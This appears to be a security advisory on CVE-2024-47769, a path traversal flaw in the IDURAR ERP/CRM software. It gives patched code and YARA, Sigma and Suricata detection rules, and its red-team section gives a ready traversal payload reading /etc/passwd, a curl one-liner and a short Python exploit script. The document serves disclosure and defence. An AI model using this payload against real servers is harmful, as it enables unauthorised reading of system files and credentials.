CVE-2024-47769
Executive Summary
CVE-2024-47769 is a critical path traversal vulnerability in IDURAR, an open-source ERP/CRM/accounting/invoicing software. The flaw resides in corePublicRouter.js, where an unauthenticated attacker can supply URL-encoded malicious input that is directly appended to a file path join statement. This allows directory escape and arbitrary file read from the server filesystem. With a CVSS score of 7.5 (High), the vulnerability poses a significant confidentiality risk. No official patch has been released, and public proof-of-concept code exists.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
IDURAR is an open-source Node.js application. The vulnerability exists in the core routing logic, not in a third-party package. However, organizations using IDURAR should audit their deployment for any custom modifications or dependencies that may introduce similar path traversal flaws.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No write capability.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit and allows reading sensitive system files (e.g., /etc/passwd, application configuration, database credentials).
Deep Dive & Mechanics
The vulnerability is located in corePublicRouter.js. The code constructs a file path by concatenating a base directory with user-supplied input from the URL subpath. The input is URL-decoded but not sanitized for path traversal sequences (e.g., ../). An attacker can craft a request like:
GET /public/..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
The %2F is the URL-encoded forward slash. After decoding, the path becomes ../../../../etc/passwd, which escapes the intended public directory and reads arbitrary files.
The vulnerable code snippet (conceptual):
// corePublicRouter.js (vulnerable)
const path = require('path');
const baseDir = '/var/www/idurar/public';
const requestedPath = req.params[0]; // e.g., "..%2F..%2Fetc%2Fpasswd"
const fullPath = path.join(baseDir, decodeURIComponent(requestedPath));
// No validation of fullPath against baseDir
res.sendFile(fullPath);
The fix would involve normalizing the path and ensuring it stays within the intended base directory.
Vulnerable vs. Patched Code
Vulnerable Code (conceptual):
// corePublicRouter.js
app.get('/public/*', (req, res) => {
const subpath = req.params[0];
const filePath = path.join(__dirname, 'public', decodeURIComponent(subpath));
res.sendFile(filePath);
});
Patched Code (conceptual):
// corePublicRouter.js (patched)
const path = require('path');
app.get('/public/*', (req, res) => {
const subpath = req.params[0];
const decoded = decodeURIComponent(subpath);
const baseDir = path.resolve(__dirname, 'public');
const requestedPath = path.resolve(baseDir, decoded);
// Ensure the resolved path is within the base directory
if (!requestedPath.startsWith(baseDir)) {
return res.status(403).send('Forbidden');
}
res.sendFile(requestedPath);
});
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable IDURAR instance (e.g., using Docker or manual setup).
- Ensure the application is accessible on a local network.
Exploitation Steps:
- Identify the public endpoint (e.g.,
/public/). - Craft a URL-encoded path traversal payload:
GET /public/..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: target - Use
curl:curl --path-as-is "http://target/public/..%2F..%2F..%2Fetc%2Fpasswd" - Read sensitive files like
/etc/passwd, application config, or database credentials.
Automated Exploit (Python):
import requests
target = "http://target"
payload = "/public/..%2F..%2F..%2Fetc%2Fpasswd"
url = target + payload
response = requests.get(url, headers={"Host": "target"})
print(response.text)
Blue Team
Detection:
- Monitor for URL-encoded path traversal sequences in HTTP requests (e.g.,
%2F,%2E%2E%2F). - Alert on requests to
/public/containing../or encoded equivalents. - Use WAF rules to block path traversal patterns.
Hunting:
- Search web server logs for requests with
%2For%2Ein the URI. - Look for abnormal file read attempts (e.g.,
/etc/passwd,/proc/self/environ).
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/public/with path traversal sequences (e.g.,..%2F..%2F..%2Fetc%2Fpasswd). - Unusual outbound data transfers from the IDURAR server.
- HTTP GET requests to
- File System:
- Unexpected access to files outside the web root (e.g.,
/etc/passwd,/var/log/auth.log).
- Unexpected access to files outside the web root (e.g.,
- Logs:
- Web server logs showing
403or200responses for path traversal attempts. - Application logs with errors related to file not found or permission denied.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_47769_PathTraversal {
meta:
description = "Detects path traversal attempts targeting IDURAR CVE-2024-47769"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-47769"
strings:
$traversal1 = "..%2F" ascii wide nocase
$traversal2 = "%2E%2E%2F" ascii wide nocase
$traversal3 = "..\\" ascii wide nocase
$sensitive = "/etc/passwd" ascii wide nocase
$sensitive2 = "/proc/self" ascii wide nocase
condition:
any of ($traversal*) and any of ($sensitive*)
}
Sigma Rule
title: IDURAR Path Traversal Attempt (CVE-2024-47769)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects URL-encoded path traversal in HTTP requests to IDURAR public endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- '..%2F'
- '%2E%2E%2F'
- '..\\'
cs-uri-stem|startswith: '/public/'
condition: selection
falsepositives:
- Legitimate use of encoded characters in filenames (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47769 IDURAR Path Traversal Attempt"; flow:to_server,established; content:"/public/"; http_uri; content:"..%2F"; http_uri; distance:0; content:"/etc/passwd"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the IDURAR instance from the internet if possible.
- Apply a virtual patch using a WAF to block path traversal patterns.
- Monitor logs for exploitation attempts.
Long-term Fix:
- The vendor must release a patch that validates file paths against the intended base directory.
- As a workaround, modify
corePublicRouter.jsto normalize and restrict file access (see patched code example). - Upgrade to a patched version once available.
Compensating Controls:
- Implement strict input validation for all user-supplied paths.
- Use a chroot jail or container to limit file system access.
- Enable file integrity monitoring on critical system files.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert